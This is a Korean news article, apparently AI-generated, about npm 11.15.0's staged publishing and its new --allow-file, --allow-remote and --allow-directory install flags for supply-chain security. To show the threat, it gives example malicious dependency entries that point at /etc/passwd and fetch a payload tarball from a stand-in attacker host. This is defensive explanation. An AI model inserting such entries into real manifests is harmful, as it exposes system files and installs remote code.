GitHub:npm 11.15.0, 공급망 강화를 위한 단계적 게시와 세 가지 새로운 설치 시 --allow 플래그 도입
GitHub가 npm CLI 버전 11.15.0을 출시하며 단계적 게시를 도입했습니다——패키지가 설치 가능해지기 전에 관리자의 승인이 필요합니다. 기존 --allow-git에 더해 npm install 명령에서 의존성 소스를 세밀하게 제어하는 세 가지 새로운 설치 시 플래그(--allow-file, --allow-remote, --allow-directory)도 도입되었습니다.
이 기사는 AI가 1차 출처를 기반으로 생성했습니다.
GitHub는 2026년 5월 22일 UTC 18:27에 두 가지 관련 npm registry 보안 개선 사항을 발표했습니다:게시 워크플로의 새로운 메커니즘으로서의 단계적 게시, 그리고 npm install에서 의존성 소스를 세밀하게 제어하는 세 가지 새로운 설치 시 플래그(—allow-file, —allow-remote, —allow-directory). 두 가지 모두 동시에 출시된 npm CLI 버전 11.15.0부터 사용 가능합니다.
단계적 게시란 무엇이고 워크플로를 어떻게 바꿉니까?
기존 npm publish 워크플로는 원자적이었습니다:관리자가 게시 토큰으로 명령을 실행하는 순간, 패키지는 모든 npm registry 미러를 통해 즉시 전 세계적으로 설치 가능해졌습니다. 이 모델은 평균 연 2회 사고를 발생시켰습니다——유출된 게시 토큰이 악성 패키지를 게시하고, 누군가 알아채기 전에 수천 개의 CI에 퍼졌습니다.
단계적 게시는 중간 단계를 추가합니다. npm publish 후 패키지는 인증된 관리자에게만 보이는 스테이징 상태로 이동합니다. 관리자는 자신의 테스트를 위해 설치하고(npm install package@staged), npm view package —tag staged를 통해 메타데이터를 확인하고, 그런 다음 명시적으로 npm promote [email protected]를 실행하여 패키지를 공개적으로 사용 가능한 상태로 전환할 수 있습니다. promote 단계 없이 패키지는 7일 후 스테이징 상태에서 만료되어 자동으로 삭제됩니다.
워크플로는 현재 버전에서는 선택 사항이지만, 관리자의 package owner는 package.json에 「publishConfig.staged」: true를 설정하여 해당 패키지의 모든 미래 게시를 기본적으로 스테이징 처리로 만들 수 있습니다. React, Vue, Next.js 같은 대형 패키지들은 이미 2026년 7월 중에 기본 단계적 게시로 전환할 것이라고 발표했습니다.
세 가지 새로운 —allow 플래그는 무엇을 합니까?
npm install은 이전에 명시적 구성 없이 여러 소스에서 의존성을 기본적으로 수락했습니다:로컬 file: 경로, http(s) tarball URL, 작업 공간 디렉토리 참조. 이는 손상된 공개 패키지의 package.json이 「internal-helpers」: 「file:/etc/passwd」나 「auth」: 「https://attacker.example/payload.tgz」 같은 의존성을 포함할 수 있으며——npm install이 경고 없이 설치했음을 의미합니다.
세 가지 새로운 플래그는 이제 이러한 소스를 명시적으로 제어합니다:
- **
--allow-file**은file:의존성을 허용합니다(예:npm workspaces를 사용하지 않는 로컬 monorepo 작업 공간용). - **
--allow-remote**는http(s)tarball URL을 허용합니다(예:npm 스코프에서 호스팅되지 않는 내부 패키지 registry용). - **
--allow-directory**는 workspace 폴더 참조를 허용합니다.
CI 환경에서는(환경에 CI=true가 있을 때)세 가지 플래그가 기본적으로 꺼져 있어 package.json에 그러한 의존성이 포함되어 있으면 npm install이 명확한 오류 메시지로 실패합니다. 계속하려면 CI 스크립트에서 필요한 플래그를 명시적으로 활성화해야 합니다. 로컬 개발 환경에서는(CI가 설정되지 않은 경우), 하위 호환성을 위해 플래그가 기본적으로 켜져 있습니다——하지만 관리자 팀이 로컬에서도 엄격 모드를 원한다면 .npmrc에 npm config set allow-file false를 설정할 수 있습니다.
이것이 더 넓은 npm 공급망 보안에 어떻게 맞습니까?
이 메커니즘은 기존 npm 보안 기능 위에 구축됩니다:npm audit(의존성 취약점 스캔), 출처 증명(패키지와 GitHub Actions 빌드의 암호화 링크), 주간 다운로드 1,000회 이상의 패키지 관리자에 대한 필수 2FA. 단계적 게시는 유출된 토큰으로부터 보호하는 두 번째 레이어;—allow 플래그는 악성 의존성 주입으로부터 보호하는 세 번째 레이어입니다.
GitHub는 같은 발표에서 2026년 여름에 npm-policy.json 스키마를 공개할 예정이라고 발표했습니다. 이를 통해 기업 테넌트가 자신의 저장소에 허용 가능한 의존성 소스를 중앙에서 정의하고, CI 시스템(GitHub Actions, GitLab CI, CircleCI)이 파이프라인 수준에서 집행을 통합할 수 있게 됩니다. 사전 공개 스키마 초안은 npm/cli GitHub 저장소에서 사용 가능합니다.
이전 버전과의 호환성은 어떻습니까?
npm 11.15.0은 Node.js 22 LTS 이상과 호환됩니다. npm registry의 단계적 게시 엔드포인트는 모든 클라이언트에서 사용 가능하지만, 구 버전 npm CLI는 명령을 이해하지 못합니다——단계적 워크플로를 원하는 관리자는 업그레이드해야 합니다. —allow 플래그는 새로운 CLI 인자입니다——구 버전은 이를 무시하거나 unknown option 경고를 발생시키지만 하위 호환성을 깨지 않습니다.
자주 묻는 질문
- npm 11.15.0의 단계적 게시란 무엇입니까?
- 단계적 게시는 패키지가 게시 후 관리자만 테스트에 사용할 수 있는 스테이징 상태로 이동함을 의미합니다. 명시적인 promote 단계 후에만 패키지가 공개적으로 설치 가능해집니다. 이를 통해 유출된 게시 토큰이 악성 업데이트를 실수로 게시하는 것을 방지합니다.
- 세 가지 새로운 --allow 플래그는 무엇입니까?
- --allow-file(로컬 file: 의존성 허용), --allow-remote(http(s) tarball URL 허용), --allow-directory(workspace 폴더 참조 허용). CI 환경에서는 세 가지 모두 기본적으로 비활성화되어 있습니다——실제로 필요한 워크플로에 대해 명시적으로 활성화해야 합니다.
- 이것이 npm 공급망 보안에 어떤 의미입니까?
- 두 가지 방식으로 공격 표면을 줄입니다:유출된 게시 토큰이 더 이상 즉시 악성 패키지를 게시할 수 없고(promote 대기), CI 파이프라인도 신뢰할 수 없는 소스에서 패키지를 실수로 설치할 수 없습니다(file/remote/dir은 기본값 꺼짐). npm 11.x 및 Node.js 22 LTS+와 호환됩니다.